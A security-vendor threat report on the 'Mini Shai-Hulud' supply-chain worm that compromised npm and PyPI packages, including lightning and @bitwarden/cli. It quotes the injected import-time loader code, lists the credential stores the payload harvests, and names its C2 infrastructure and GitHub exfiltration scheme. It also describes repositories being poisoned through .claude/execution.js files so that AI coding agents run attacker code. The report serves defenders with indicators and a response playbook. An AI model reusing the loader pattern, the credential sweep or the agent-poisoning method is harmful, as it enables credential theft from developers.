The Worm That Won't Stop: TeamPCP's Mini Shai-Hulud Supply Chain Campaign Devours SAP, Bitwarden, and PyTorch Lightning
TL;DR
Between April 22 and April 30, 2026, a threat actor tracked as TeamPCP executed a coordinated multi-package supply chain campaign under the self-assigned codename "Mini Shai-Hulud." In eleven days the operation touched five high-trust packages across two ecosystems:
| Date (UTC) | Package | Ecosystem | Malicious Version(s) |
|---|---|---|---|
| April 22 | @bitwarden/cli | npm | 1.22.0 (live ~90 min) |
| April 29 | @cap-js/sqlite, @cap-js/postgres | npm | Specific patch versions |
| April 30 | lightning | PyPI | 2.6.2, 2.6.3 |
| April 30 | intercom-client | npm | 7.0.5 |
Every compromised version carries the same payload family: a cross-platform Bun JavaScript runtime bootstrapper that silently harvests developer credentials, cloud secrets, cryptocurrency wallets, and CI/CD tokens, then exfiltrates them to attacker-controlled public GitHub repositories. If a GitHub PAT token is discovered, the malware self-propagates by poisoning the victim's own repositories — a worm mechanism that dramatically multiplies the attack surface with each new victim.
Background: TeamPCP and the Shai-Hulud Lineage
The "Shai-Hulud" naming convention — a nod to the sandworm deity in Frank Herbert's Dune — is deliberate and telling. Wiz and Socket have tracked this threat actor under the TeamPCP designation for multiple prior operations targeting developer toolchain packages: Checkmarx's npm packages, Telnyx SDK components, LiteLLM dependencies, and Aqua Security's Trivy tooling. Each campaign refined the technique. Each generation of payload introduced new evasion mechanisms and a broader credential scope.
Mini Shai-Hulud represents the third confirmed generation of this operational framework and the first to cross the npm boundary into PyPI. The transition to PyPI is significant: while npm has been the dominant supply chain attack surface since the XZ Utils and Colors.js incidents, PyPI serves a uniquely high-value demographic. Python package consumers include ML engineers, data scientists, and AI/LLM infrastructure operators — populations that routinely authenticate to GPU cloud instances, model training clusters, Hugging Face tokens, and large-scale AWS environments. A credential harvest from a PyTorch Lightning user may yield substantially higher-value access than the average web developer's .npmrc file.
The decision to specifically target lightning — a package with millions of weekly downloads used for fine-tuning LLMs and training production ML models — shows this wasn't opportunistic. It was a deliberate upgrade in target quality.
Technical Analysis: Anatomy of the Attack Chain
Stage 0: Delivery Vector
For npm packages, the entry point is a preinstall hook injected into package.json. The script setup.mjs executes automatically during npm install, before any human-visible installation output appears. This is the npm ecosystem's equivalent of a BIOS rootkit — execution occurs before the package even finishes installing.
For PyPI's lightning, the injection was placed directly in __init__.py, the file Python executes the moment any code calls import lightning. A background thread is spawned before the first line of legitimate Lightning code runs:
def _run_runtime() -> None:
_runtime_dir = os.path.join(os.path.dirname(__file__), "_runtime")
_start = os.path.join(_runtime_dir, "start.py")
if os.path.exists(_start):
subprocess.Popen(
[sys.executable, _start],
cwd=_runtime_dir,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
threading.Thread(target=_run_runtime, daemon=True).start()
The daemon=True flag is deliberate: the thread runs silently in the background and is killed without cleanup if the parent process exits. No blocking, no error output, no visible side effect to the developer running a training job.
Stage 1: Runtime Bootstrap
start.py implements a cross-platform OS and architecture detection routine. It downloads Bun v1.3.13 — a fast JavaScript runtime — appropriate for the detected platform, then executes router_runtime.js, an 11 MB obfuscated JavaScript payload. The use of Bun is a deliberate evasion choice: security tooling that monitors Python subprocess calls or looks for Node.js binaries will not flag a Bun invocation. The attacker has effectively hidden a JavaScript worm inside a Python package that installs its own JavaScript engine.
Stage 2: Credential Harvesting
The router_runtime.js payload implements an exhaustive credential sweep across every known secret store location:
Developer Environment:
- SSH private keys (
~/.ssh/id_*,~/.ssh/known_hosts) - Shell command histories: bash, zsh, Python REPL, Node.js REPL, MySQL, PostgreSQL
.envfiles (recursive scan up the directory tree)- Git credential stores and
.gitconfig - npm authentication tokens (
~/.npmrc) - MCP (Model Context Protocol) configuration files
Cloud & Infrastructure:
- AWS credentials (
~/.aws/credentials,~/.aws/config, environment variables) - GCP service account keys and application default credentials
- Azure CLI authentication tokens
- Kubernetes config (
~/.kube/config), Helm values files - Docker Hub credentials (
~/.docker/config.json) - HashiCorp Vault tokens (Wiz notes this was added in the intercom-client variant, along with active Kubernetes service endpoint querying)
Cryptocurrency Wallets:
Bitcoin, Litecoin, Monero, Dogecoin, Dash, Exodus, Atomic Wallet, Ledger
Session Tokens:
Discord session tokens, Slack workspace tokens, NordVPN, ProtonVPN, CyberGhost, Windscribe, OpenVPN configurations
All collected secrets are RSA-2048 encrypted before exfiltration — rendering the transmitted data unreadable even if a network analyst intercepts it in transit.
Stage 3: GitHub-Based Exfiltration
Mini Shai-Hulud uses public GitHub repositories as its primary exfiltration channel — a technique that bypasses most enterprise egress filtering since GitHub traffic appears legitimate. In the SAP operation, the GraphQL API is used (an evolution over the prior REST API approach), creating repositories with the naming pattern word1-word2-number and the description "Checkmarx Configuration Storage" — an ironic nod to the Checkmarx breach attribution.
The malware also implements a dynamic fallback mechanism: if the primary C2 domain (zero.masscan.cloud) is unreachable, it searches GitHub commits for the keyword "beautifulcastle" to locate a base64-encoded pointer to the current active exfiltration endpoint. At the time of analysis, that endpoint resolved to 94.154.172[.]43/v1/telemetry. This means the attacker can rotate infrastructure without pushing new malicious package versions — a significant operational maturity upgrade.
Stage 4: Self-Propagating Worm
This is where Mini Shai-Hulud distinguishes itself from a typical credential stealer. If the payload discovers GitHub OAuth or PAT tokens (matching ghp_, gho_, ghs_ prefixes), it attempts to poison the victim's own GitHub repositories by writing malicious files, including:
.claude/execution.js— targeting Claude Code users- Equivalent files for VSCode extensions
This is a calculated attack on the AI-coding-agent ecosystem. A developer using Claude Code or Cursor on a compromised repository will silently execute attacker-controlled JavaScript the next time their agent reads repository context. The worm effectively turns each victim into a propagation node for the next victim.
Operational Security: Russian Language Exclusion
The payload includes a Russia exemption: it checks system locale variables and the LANG environment variable, and terminates execution without exfiltrating anything if any value begins with 'ru'. This is consistent with Eastern European or Russian-state-affiliated threat actor patterns and is taxonomically identical to evasion patterns seen in Conti, LockBit, and other Russian-nexus crews. TeamPCP is not yet formally attributed to a nation-state, but this guardrail narrows the hypothesis space considerably.
Indicators of Compromise (IOCs)
Network / Infrastructure
| Indicator | Type | Notes |
|---|---|---|
| zero.masscan.cloud | C2 Domain | Primary exfiltration endpoint |
| 94.154.172[.]43 | IP | Active exfiltration endpoint (as of April 30) |
| GitHub repos matching word1-word2-\d+ | Pattern | Attacker-created exfiltration repos |
| GitHub commit search: "beautifulcastle" | Keyword | Dynamic C2 fallback retrieval |
File System
| Path | Description |
|---|---|
| <package_dir>/_runtime/start.py | Stage 1 bootstrapper |
| <package_dir>/_runtime/router_runtime.js | 11 MB Bun payload |
| /tmp/bun-* or ~/.bun/bin/bun | Bun runtime binary |
| .claude/execution.js (in repos) | Worm propagation artifact |
Package Versions (treat as malicious)
lightning2.6.2, 2.6.3 (PyPI)intercom-client7.0.5 (npm)@bitwarden/climalicious version (April 22, ~90-minute window)@cap-js/sqlite,@cap-js/postgres— specific patch versions published April 29, 09:55–12:14 UTC
Process Indicators
- Unexpected
bunprocess spawned by Python interpreter - Background subprocess with
stdout=DEVNULL, stderr=DEVNULLpattern at import time setup.mjsexecuting duringnpm installfor packages that should not have preinstall scripts
Lyrie Take
Mini Shai-Hulud is not a sophisticated zero-day campaign. It requires no CVEs, no memory corruption, no advanced persistence. It exploits a single architectural flaw in modern software supply chains: the implicit trust relationship between a developer and a package version they pin in a lock file.
The shift to PyPI was the signal to take seriously. TeamPCP didn't need new capabilities to cross ecosystems — they needed only to register a slightly different version of a package that millions of ML engineers run in their CI pipelines and local training environments. The lightning package is used in GPU clusters, Kubernetes training jobs, and Docker containers that likely have credential access to far more infrastructure than a typical web developer's workstation. The attacker almost certainly knows this.
The Claude Code poisoning vector is particularly noteworthy from Lyrie's perspective. This is the second confirmed campaign in two weeks (after the elementary-data GitHub Actions attack) where an attacker explicitly targets AI coding agent context injection as a propagation mechanism. This is now a defined, repeating attack pattern — not an anomaly. Any enterprise running Claude Code, Cursor, or similar agentic development tools against repositories that use third-party packages should treat this as an active threat model requiring immediate toolchain review.
The Russia exemption provides the clearest attribution signal available: this is almost certainly a financially motivated Eastern European actor operating with implicit permission to avoid CIS-region targets — a trademark of crews with informal FSB adjacency, protection arrangements, or simply cultural solidarity with the regional hacking underground.
Defender Playbook
Immediate (if you used affected versions)
1. Revoke and rotate everything — treat all secrets on affected machines as compromised. Start with: GitHub PATs, AWS access keys, GCP service account keys, npm tokens, Kubernetes service account tokens
2. Audit GitHub for suspicious repository creation — look for repos matching the word1-word2-\d+ pattern created by your account(s) after April 22
3. Check .claude/ directories in all repositories for unexpected execution.js files
4. Search git history for commits containing "beautifulcastle"
5. Revoke Discord and Slack sessions if those credentials were present on affected machines
Detection Engineering
6. Block zero.masscan.cloud at DNS/proxy. Add 94.154.172[.]43 to egress deny lists
7. Alert on Bun runtime downloads or execution in CI environments — Bun has no legitimate use in npm install hooks
8. Monitor for preinstall script execution in npm — tooling like Socket, Snyk, and Semgrep should flag preinstall hooks in packages that previously had none
9. Implement PyPI hash pinning via --require-hashes in pip install. A new malicious minor version cannot execute if your lockfile validates against a known-good hash
Structural Controls
10. Adopt a software composition analysis (SCA) tool that flags behavioral changes in package versions — not just known CVEs. This attack family is invisible to CVE-only tooling because there is no CVE. The malware is the package
11. Enforce ephemeral CI credentials — short-lived OIDC tokens for AWS, GCP, GitHub Actions environments reduce the blast radius of any single credential harvest. A token that expires in 15 minutes is worth dramatically less to an attacker than a long-lived PAT
12. Audit AI coding agent context — if you use Claude Code or Cursor in your development workflow, add .claude/ to your pre-commit security scanning hooks. No legitimate workflow should write to that directory via a package install
Sources
1. Wiz Research — "Supply Chain Campaign Targets SAP npm Packages with Credential-Stealing Malware" (wiz.io/blog/mini-shai-hulud-supply-chain-sap-npm)
2. Aikido Security — "Popular PyTorch Lightning Package Compromised by Mini Shai-Hulud" (aikido.dev/blog/pytorch-lightning-pypi-compromise-mini-shai-hulud)
3. Socket Research Team — "lightning PyPI Package Compromised in Supply Chain Attack" (socket.dev/blog/lightning-pypi-package-compromised)
4. The Hacker News — "PyTorch Lightning and Intercom-client Hit in Supply Chain Attacks to Steal Credentials" (thehackernews.com/2026/04/pytorch-lightning-compromised-in-pypi.html)
5. The Register — "Ongoing supply chain attacks worm into SAP npm packages" (theregister.com/2026/04/30/supply_chain_attacks_sap_npm_packages/)
6. OX Security — "Shai-Hulud: The Third Coming — Bitwarden CLI Backdoored" (ox.security/blog/shai-hulud-bitwarden-cli-supply-chain-attack/)
7. SOCRadar — "Bitwarden CLI Hijacked in npm Supply Chain Attack Linked to TeamPCP & Checkmarx Breach" (socradar.io/blog/bitwarden-cli-hijacked-npm-supply-chain-teampcp/)
8. Semgrep — "Shai-Hulud Themed Malware Found in the PyTorch Lightning AI Training Library" (semgrep.dev/blog/2026/malicious-dependency-in-pytorch-lightning-used-for-ai-training/)
9. Security Boulevard — "Backdoored PyTorch Lightning Package Drops Credential Stealer" (securityboulevard.com/2026/05/backdoored-pytorch-lightning-package-drops-credential-stealer/)
Lyrie.ai Cyber Research Division — Senior Analyst Desk
Lyrie Verdict
Lyrie's autonomous defense layer flags this class of exposure the moment it surfaces — no signature update required.